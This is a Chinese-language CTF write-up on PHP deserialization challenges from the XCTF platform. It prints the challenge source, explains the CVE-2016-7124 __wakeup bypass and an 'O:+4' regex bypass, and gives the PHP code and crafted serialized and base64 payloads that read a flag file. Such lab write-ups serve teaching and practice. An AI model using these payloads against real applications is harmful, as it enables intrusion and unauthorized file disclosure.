0x00 CTF中的反序列化题目
这类题目中主要是利用反序列化各种魔术方法的绕过或调用,从而构造符合条件的序列化字符串,完成特定的功能,在这一点上对于整个代码段的执行流程要很清楚。
0x01 攻防世界unserialize3
题目显示的源码为:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
在这里我们可以看到只有一个魔术方法,而__wakeup()
魔术方法是反序列化之前检查执行的函数,也就是说,不管传入什么,都会优先执行__wakeup()
方法,但这里针对__wakeup()
方法有一个CVE漏洞,CVE-2016-7124,在传入的序列化字符串在反序列化对象时与真实存在的参数个数不同时会跳过执行,即当前函数中只有一个参数$flag,若传入的序列化字符串中的参数个数为2即可绕过。
如下:
<?php
class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);
得到结果O:4:"xctf":1:{s:4:"flag";s:3:"111";}
,将类xctf
中的参数1修改为2,提交code
,得到flag。
0x02 攻防世界Web_php_unserialize
题目源码为:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
这里首先是一个代码审计,代码部分比较简单,大佬肯定一眼就知道这里只需要绕过preg_match正则和__wakeup函数即可,因为这里weakup会将马上就要反序列化的字串中file给你替换为index,这样就回到现在的页面了。
首先是正则绕过:/[oc]:\d+:/i
这段正则的意思是匹配所有的以o、c、O、C
开头,加冒号:
,加数字、再加冒号:
的字符串,忽略大小写,也就是o:4:
这部分序列化串开头的匹配。这里使用+4绕过,这是因为这样即绕过了这里正则的条件,由不会改变o后面的值,因为+4与4是相同的,不会影响反序列化的结果。
其次是wakeup,wakeup只需要把序列化字串的对象属性个数1改为别的数字就行了,但是注意这里file 的类型是private,所以打印出来的串是有不可见字符%00的,不要复制出来自己base,不然结果就不一样了。O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}
$a= new Demo('fl4g.php');
$b = serialize($a);
$b = str_replace("O:4","O:+4",$b);
$b = str_replace(":1:",":2:",$b);
echo base64_encode($b);
最终结果为:index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4Oi